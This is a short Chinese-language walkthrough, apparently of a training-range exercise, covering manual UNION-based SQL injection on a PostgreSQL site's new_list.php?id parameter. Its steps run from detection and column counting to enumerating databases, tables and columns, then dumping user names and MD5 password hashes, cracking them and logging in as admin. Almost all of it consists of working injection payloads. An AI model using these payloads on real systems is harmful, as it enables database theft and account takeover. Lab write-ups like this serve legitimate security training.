1、查看是否存在注入点
new_list.php?id=1 and 1=2 页面没有回显,说明存在sql注入
2、开始猜解后端收据库能够返回多少个字段
new_list.php?id=1 order by 4 页面显示正常
new_list.php?id=1 order by 5 页面没有回显
说明数据字段数为4
3、开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造 Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段
new_list.php?id=1 and 1=2 union select 'null',null,null,null
new_list.php?id=1 and 1=2 union select null,'null',null,null
new_list.php?id=1 and 1=2 union select null,null,'null',null
new_list.php?id=1 and 1=2 union select null,null,null,'null'
4、在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前⽤户以 及数据库的版本
new_list.php?id=1 and 1=2 union select null,'null',string_agg(datname,','),null from pg_database
5、构造Payload爆指定数据库下的表名
new_list.php?id=1 and 1=2 union select null,'null',string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'
6、查询字段
new_list.php?id=1 and 1=2 union select null,'null',string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
7、查询数据
new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
8、使用MD5解除密码,并后台登陆
mozhe2
mozhe1